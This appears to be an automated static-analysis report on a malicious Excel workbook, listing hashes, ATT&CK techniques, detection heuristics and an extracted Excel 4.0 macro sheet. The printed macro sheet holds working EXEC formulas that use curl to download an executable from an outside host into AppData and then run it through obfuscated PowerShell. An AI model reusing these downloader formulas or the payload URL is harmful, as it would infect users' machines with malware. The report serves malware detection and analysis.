Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d87030e74b089898…

MALICIOUS

Office (OOXML)

85.3 KB Created: 2020-09-20 21:17:44 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-30
MD5: f01cbdac7e6eaf5f1b16fd3e47adeed3 SHA-1: f42ef0ef1bfc9d080d9bb5d3aa3fd8cd596519f2 SHA-256: d87030e74b0898987e111a859ed3dd5dde44b1e4ccd8aa81da5b2f3ce635013f
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains Excel 4.0 macros, specifically using the EXEC function to download a Windows executable from 'https://accompanybackground.com/ex/MDnxQjAfAy5EgTJ.exe' and save it as '%appdata%\nFQHz.exe'. It then uses another EXEC call to execute this downloaded file via PowerShell. This indicates a downloader or droppper functionality.

Heuristics 6

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://accompanybackground.com/ex/MDnxQjAfAy5EgTJ.exe In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 2030 bytes
SHA-256: 3aeb929e4a28cc2674b23bf45c38acadbb779c842976a3d7b122086cfbd9b66d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0000-000000000000}"><dimension ref="E584:K624"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="12.75" x14ac:dyDescent="0.35"/><cols><col min="1" max="4" width="11.3984375" customWidth="1"/><col min="5" max="5" width="8.86328125" hidden="1" customWidth="1"/><col min="6" max="256" width="11.3984375" customWidth="1"/></cols><sheetData><row r="584" spans="11:11" x14ac:dyDescent="0.35"><c r="K584" s="3"><f>EXEC("powershell -w 1 stARt`-slE`Ep 10;(New-Object -com Shell.Application).ShellExecute($env:AppData+'\nFQHz.Exe')")</f><v>0</v></c></row><row r="591" spans="11:11" x14ac:dyDescent="0.35"><c r="K591" s="1"/></row><row r="596" spans="11:11" x14ac:dyDescent="0.35"><c r="K596" s="3"><f>EXEC("cmd /c curl https://accompanybackground.com/ex/MDnxQjAfAy5EgTJ.exe -o %appdata%\nFQHz.exe")</f><v>0</v></c></row><row r="600" spans="11:11" ht="13.9" x14ac:dyDescent="0.35"><c r="K600" s="2"/></row><row r="624" spans="11:11" x14ac:dyDescent="0.35"><c r="K624" s="1" t="b"><f>PAUSE()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.